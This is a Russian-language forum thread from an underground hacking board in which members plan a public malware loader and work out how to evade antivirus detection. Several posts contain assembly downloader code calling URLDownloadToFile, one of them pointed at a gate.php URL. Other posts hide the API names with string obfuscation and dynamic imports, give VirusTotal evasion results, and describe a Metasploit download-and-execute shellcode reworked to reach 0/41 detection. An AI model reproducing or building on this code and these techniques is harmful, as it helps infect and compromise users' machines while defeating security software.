• XSS.stack #1 – первый литературный журнал от юзеров форума

Разработка лоадера

Ты хотел знать "догадается кто-то" - вот я и "догадался".
По поводу гонки с CL - я тоже считаю что с ними тягаться бесполезно, стоит лишь стремитья к такому уровню.
По поводу "уменьшения размера" согласен с мнением краз - гонка за размером иногда приводит к тому, что файл становитсья настолько уникальным и не похожим на легитимную программу, что криптовать его становиться крайне сложно. Поэтому стоит писать основной функционал максимально похоже на обычную программу, а уменьшения размера возложить на что сторонее.
 
Нужен один минимальный сорс лоадера, который утвердим в качестве основы. И начнем с него, т.е. будем наращивать функционал, усовершенствовать. Все функции вынести в отдельные инклудники (чтобы было легче ориентироваться и каждый мог внести свою долю). Определить типы вызова и прочее. Товарищи, перестанем болтать и начнем делать. KraZz , кинь пожалуйста исходник содержащий минимальный функционал, который по твоему мнению годен
 
greenzy пишет:
кинь пожалуйста исходник содержащий минимальный функционал, который по твоему мнению годен
Мда, ты меня поставил в тупик...

Для начала нужно определиться, на каком языке кодить
ASM, С++, Delphi, etc.
Если (к примеру) ASM, то какой? MASM, FASM и т.д.
От этого тоже может зависеть количество желающих поучаствовать в проекте
Допустим, кто-то может кодить на Delphi и знает немного ASM и у него есть масса свободного времени и есть желание принять участие в проекте, а проект пишем, к примеру на С++, он уже естественно "не сможет" участвовать в проекте, так как НЕ знает С++
А тот, кто знает С++ может иметь не достаточно времени чтобы писать код
Вот так могут в примитивной ситуации возникнуть проблемы на пустом месте...

Кодить что будем exe, dll, etc.
Если exe, то его будет видно в диспетчере, который юзер может вызывать частенько, чтобы убивать зависшую прогу и в этот момент может спалить подозрительный процесс, я допустим подобное, частенько наблюдаю, когда юзается exe без инжекта и резидент (резидент/нерезидент это вообще отдельная история)
Процентов 20 можно смело ставить на то, что юзер спалит такой exe и проявит интерес и если не будет заюзан СИ, можно быть уверенным что лоадер окажется на VT
Опять же надо учитывать (и не забывать) что это паблик лоадер и в этом мире дохуя ахтунгов, которые от нех делать будут проверять этот лоадер на VT, а лоадер это естественно НЕ криптор и ему желательно вообще туда не попадать...

Если юзать инжект, то какой? И будет ли у лоадера достаточно прав, чтобы заюзать этот инжект если, к примеру, будет пробит комп какого-нибудь юриста, который залез на порно сайт из под учетки юзера с ограниченными правами и у которого стоит какой-нибудь фришный антивирус...

И так можно перечислять до бесконечности, когда существует неопределенность.. при этом, походу дел, планы могут поменяться еще сто раз...

Нужно нарисовать (условно) план действий и уже от него отталкиваться и смотреть, в каком направлении двигаться - ИМХО
Я, конечно, могу накидать пару мыслей, но как-то не вижу продолжения их реализации (это может закончиться тем, что зашли все тупо почитать, а кодить всем оно и нах не надо), а палить темы (почем зря) пусть даже и примитивные у меня нет желания...
 
Годен не годен - вы ж тренируетесь! Вот и пишите сами как считаете нужным, а на прогрузе поймете годен или не годен. Причем тут краз. Он так же как и многие пришел посмотреть что получиться и не сильно верит в успех этого мероприятия суля по всему.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
KraZz
Касаемо выбора языка программирования - но ведь теоретически можно переделать функцию с одного языка на другой? В лоадере же вряд ли будет много кода,поэтому можно сделать так: выбрать основной язык, например С/С++ (т.к. это стандарт, как вижу). Если кодер его не знает, пусть пишет свою часть (там функцию шифрования например) на Фасме/Дельфи и т.д. А потом ее можно будет отладить и перевести на Си/С++. Я не специалист, но пробовал переписывать сорцы из Си на Масм, и ничего особо сложного в этом не вижу. В основном же код будет на WinApi, как я понимаю.
и не сильно верит в успех этого мероприятия суля по всему.
Если каждый день сюда будут заходить товарищи типа Left4Dead , подъебывать и троллить, то ес-но что ничего не получится.
Интересно, почему одни кодеры хотят помочь (типа greenzy ,waahoo и так далее), а вторые заходят в тему только постебацца ("вот вы лахи и школьники, ничего не вышло у вас, а я бы накодил такое за 5 минут!!!")? Комплексы какие-то видимо?
 
Если каждый день сюда будут заходить товарищи типа Left4Dead , подъебывать и троллить, то ес-но что ничего не получится.
Дооо, нашел причину своих неудач :D
Интересно, почему одни кодеры хотят помочь (типа greenzy ,waahoo и так далее), а вторые заходят в тему только постебацца ("вот вы лахи и школьники, ничего не вышло у вас, а я бы накодил такое за 5 минут!!!")? Комплексы какие-то видимо?
просто вся идея "давайте соберемся на форуме и закодим годный продукт" изначально обречена на провал, и ничем кроме трёпа никогда не заканчивается. Сиди сам и кодь, а что не понятно - спрашивай у людей, тогда что-то получится.
 
Quake3 пишет:
Если кодер его не знает, пусть пишет свою часть (там функцию шифрования например) на Фасме/Дельфи и т.д. А потом ее можно будет отладить и перевести на Си/С++. Я не специалист, но пробовал переписывать сорцы из Си на Масм, и ничего особо сложного в этом не вижу.
А ты думаешь только этим критерием нужно руководствоваться выбором ЯП...
Да и вообще тема как бы и существует для того чтобы ее можно было заново перечитать и вполне возможно что она уже будет совсем другой, не той которая была раньше...
Для примера, я какбЭ уже предложил с чего начать, просто видимо это так всем ппц как надо, поэтому и не заметили...

Начинать нужно с более простой задачи...
К примеру, со стукача, который выложили где-то там недавно - как раз начало от ДЛ положено...
Хз. Меня особо не тянет "пережевывать" почем зря каждое слово...

Quake3 пишет:
Т.к. UrlDownloadToFile палится всем, чем можно
Вот код, который был выложен недавно
http://www.sendspace.com/file/72t54j - stuka4.rar

Там как раз юзается эта самая UrlDownloadToFile и как бы сделано мембером DL
Берем код из этого архива и немного его модифицируем:
Код:
.386
.model flat, stdcall
option casemap :none

.code
Main proc
  ret
Main endp
end Main
Компилим последней версией MASM32 и на выходе получаем простой exe, размер которого 1kb
Идем на virustotal.com и проверяем:
Код:
Detection ratio: 4/42
CAT-QuickHeal   (Suspicious) - DNAScan
K7AntiVirus     Riskware
F-Prot          W32/SuspPack.T.gen!Eldorado
Commtouch       W32/SuspPack.T.gen!Eldorado
Это значит что PE формат MASM32 уже дефакто по-умолчанию палицца
Теперь берем и компилим полную версию:
Код:
.386
.model flat, stdcall
option casemap :none

include windows.inc
include urlmon.inc
include kernel32.inc

includelib urlmon.lib
includelib kernel32.lib

.code
url db "http://microsoft.com/",0

Main proc
invoke  URLDownloadToFile,0,addr url,0,0,0
invoke  ExitProcess,0
Main endp
end Main
Идем на virustotal.com и проверяем:
Код:
Detection ratio: 12/41
K7AntiVirus        Riskware
F-Prot             W32/Downloader-Sml!Eldorado
Symantec           Suspicious.MH690.A
Norman             W32/Suspicious_Gen2.KUMKN
ClamAV             Trojan.Downloader-133210
VIPRE              Trojan-Downloader.Win32.Small!cobra (v)
AntiVir            TR/Gendal.3813425
McAfee-GW-Edition  Heuristic.BehavesLike.Win32.Downloader.J
Sophos             Troj/DwnLdr-JEX
Commtouch          W32/Downloader-Sml!Eldorado
VBA32              suspected of Trojan.Downloader.gen.h
PCTools            HeurEngine.MaliciousPacker
Теперь берем эти два варианта и переводим на другие ЯП
С++, Delphi, FASM, VB
Также компилим и проверяем на virustotal.com (стараемся скомпилить так, чтобы размер exe получился самым маленьким.. настолько, насколько это может позволить ЯП)
И сравниваем результаты и выбираем из них оптимальный - это первое
Второе - мы увидим тех кто, на чем кодит и скомпилит тестовый пример, и станет понятно какие ЯП актуальны для этого проекта и какой ЯП "доминирует", "увидим" перспективы сабжа
Ну и третье - нужно будет спрятать URLDownloadToFile так, чтобы ахтунги с virustotal.com престали орать
Как это сделать?, да полет фантазии свободный - можно заюзать идеи с каких-нибудь статей или самому изобрести велосипед - не суть важно
Важно то, что результат должен быть один: после проверки на virustotal.com должно быть - Detection ratio: 0/41 (к этому нужно стремиться) или как минимум такой же как при "первом тесте" Detection ratio: 4/42
Ну, чтобы было желание "что-то" делать и был стимул, я в этой теме отпишусь только тогда, когда будут сделаны тесты и будут результаты... (ультиматум "Борна")
1. Если кому-то что-то не нравиться, предлагайте свои варианты.. пиздеть - не мешки ворочать
2. Для тех кто: URLDownloadToFile - это х#йня, без разницы да хоть send или recv и т.д. их также нужно будет прятать как и URLDownloadToFile
3. Для тех кто: это слишком просто - сделай Detection ratio: 0/41 за пару часов (без крипта и прочей х#йни) и покажи всем как это сделал, будем считать что это: - да, просто. И будем двигаться дальше...
4. Поменьше пиздим и хоть что-то делаем!
5. ...
 
Недавно игрался с вирустоталом. Многие эвристики пропускают файл, если точка входа начинается не с голой программы, а через стандартный старт ап код компиляторов. Можно внести эти шаблоны в хекс массив, случайно выбрать один и начинать с них исполнение.
Вот сейчас исследую сетевые библиотеки браузеров. Есть предположения, то что можно использовать их и оттолкнуться от стандартной модели лоадеров.

немного инфы, мало документировано:
https://developer.mozilla.org/en/NSPR_API_R...dress_Functions
 
3. Для тех кто: это слишком просто - сделай Detection ratio: 0/41 за пару часов (без крипта и прочей х#йни) и покажи всем как это сделал, будем считать что это: - да, просто. И будем двигаться дальше...

лови пример за пару часов:

на входе Download&Execute шеллкод из Metasploit с вбитым URLом, палящийся всем чем только можно,

дальше пару антиэмуляционных фич из паблика и тупая последовательная генерация шеллкода путём математических операций на основе разложения логарифма в ряд Тейлора.
Сам C-гавнокод генерится скриптом.

в итоге палевность антивирусами 0/41, качает и запускает файл.
 

Вложения

  • main.c.zip
    35.1 КБ · Просмотры: 72
Так ух какое достижение!На фасме,макросами и не такое можно сделать!ELПоймёт
Вот так уже будет лучше
Код:
format PE GUI at 0x0
include 'include\win32a.inc'

section '.code' code readable executable

invoke	URLDownloadToFile,0,url,0,0,0
invoke	ExitProcess,0

url:
     du 'http://stuka4.in/gate.php?id=1'


data import
      
 library urlmon,'URLMON.DLL',\
  kernel32,'KERNEL32.DLL'

 import kernel32,\
	ExitProcess,'ExitProcess'
 import urlmon,\
	URLDownloadToFile,'URLDownloadToFileW'
end data




section '.reloc' data discardable fixups
 
А вообще хватит заниматься дрочевом!Составьте схемку,аляя бизнес план и работайте!Дайте каждому кодеру по модулю и лучше еслим будет плагинная структура!Потом и убрать можно!
Добавлено в [time]1340302433[/time]
Скро наверно будет свой лодырь,не для продажи,для себя!Не люблу я эту коммерцию!
Впрочем я заговорилась!Имхо,по моему бабскому разумению,лодырь не должен содержать линков на скачку.Либо должен быть конфиг,или я например использую файлобменники
 
Код:
format PE GUI at 0x0
include 'include\win32a.inc'

section '.code' code readable executable

invoke URLDownloadToFile,0,url,0,0,0
invoke ExitProcess,0

url:
     du 'http://stuka4.in/gate.php?id=1'


data import
      
 library urlmon,'URLMON.DLL',\
  kernel32,'KERNEL32.DLL'

 import kernel32,\
 ExitProcess,'ExitProcess'
 import urlmon,\
 URLDownloadToFile,'URLDownloadToFileW'
end data




section '.reloc' data discardable fixups

каждый раз, как заглядываю, эта тема поднимает мне настроение.
2-3 месяца брэйншторма в результате скатали с аресовского сорца стукача, зачем было тему создавать - попросили бы у ареса сорц и все дела :D
 
salamandra,имеете в виду,чтобы с конфига все считать?а тогда его защищать нужно будет,так как всё-равно линк там будет =\
 
Пожалуйста, обратите внимание, что пользователь заблокирован
salamandra
Дайте каждому кодеру по модулю и лучше еслим будет плагинная структура!
Пока не ясно вообще, кто будет 100% участвовать в разработке.

KraZz
Ну и третье - нужно будет спрятать URLDownloadToFile так, чтобы ахтунги с virustotal.com престали орать
Решил сегодня попробовать реализовать такое. Сразу говорю, что никогда раньше ничего такого не кодил, поэтому идея и код, наверное, не особо.
Итак - сначала я написал процедуру шифрования строки, которая тупо увеличивает код каждого ascii-символа в строке на единицу.

Код:
EnCrypt PROC USES eax esi ecx pbuf:DWORD,plen:DWORD
;принимает указатель на строку байтов, его длину и шифрует его

mov ecx,plen
xor al,al
mov esi,pbuf;esi указывает на начало буфера

encr:
mov al,byte ptr [esi];байт с того, на что указывает esi, в al
inc al;увеличить символ
mov byte ptr [esi],al;занести шифрованный символ откуда взяли
inc esi;перейти к следующему
loop encr
ret
EnCrypt ENDP
Далее, пошифровал этой процедурой строки 'http://microsoft.com/','urlmon','URLDownloadToFileA', и записал их в секцию .data ехе файла. + решил использовать динамический импорт.

Весь код выглядит так:
Думаю что комментировать нет нужды, если вкратце - то строка из секции .data дешифруется (процедура дешифровки такая же, только символ уменьшается на единицу), потом строка передается в LoadLibrary+GetProcessAdress, и функция вызывается.
Код:
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32

DeCrypt PROTO :DWORD,:DWORD

.data
url db "iuuq;00njdsptpgu/dpn0",0;microsoft.com
hDll dd 0;handle dll
hFun dd 0;handle function

liburl db "vsmnpo",0;urlmon
libfun db "VSMEpxompbeUpGjmfB",0;URLDownloadToFileA

.code
main PROC
invoke DeCrypt,addr liburl,sizeof liburl-1
invoke LoadLibrary,addr liburl
mov hDll,eax

invoke DeCrypt,addr libfun,sizeof libfun-1
invoke GetProcAddress,hDll,addr libfun
mov hFun,eax

invoke DeCrypt,addr url,sizeof url-1


push 0
push 0
push 0
push offset url
push 0
call hFun

invoke ExitProcess,0

main ENDP

DeCrypt PROC USES eax esi ecx pbuf:DWORD,plen:DWORD
;принимает указатель на строку байтов, его длину и расшифровывает его

mov ecx,plen
xor al,al
mov esi,pbuf;esi указывает на начало буфера

decr:
mov al,byte ptr [esi];байт с того, на что указывает esi, в al
dec al;уменьшить (дешифровать символ)
mov byte ptr [esi],al;занести дешифрованный символ откуда взяли
inc esi;перейти к следующему
loop decr
ret
DeCrypt ENDP
END main

К сожалению, несмотря на все это, на виртотале результат 6/42, т.е. шесть гуаноаверов таки спалили, что это downloader :bang:
https://www.virustotal.com/file/fe07b5ed3dc...sis/1340361990/
Commtouch - W32/Downloader-Sml!Eldorado
F-Prot - W32/Downloader-Sml!Eldorado
K7AntiVirus - Riskware
SUPERAntiSpyware Trojan.Agent/Gen-Bamital
VBA32 - suspected of Trojan.Downloader.gen.h
VIPRE - Trojan-Downloader.Win32.Small!cobra (v)
 
К сожалению, несмотря на все это, на виртотале результат 6/42, т.е. шесть гуаноаверов таки спалили, что это downloader bang.gif

Всё не так. То что это даунлоадер спалили скорее всего эмуляторы большинства аверов. Просто эти шесть оказались настолько уёбищными, что увидели что-то плохое в скачивании глагне мелкомягких.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Left4Dead
Тогда в каком направлении мне двигаться? Как сделать, чтобы они не поняли, что это даун-лоадер? Разбавить вызов функций каким-то мусором, вызовом левых апи?

Кстати, интересно, а вообще это сочетание LoadLibrary+GetProcAddress - вызывает у аверов плохие ассоциации или нет?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх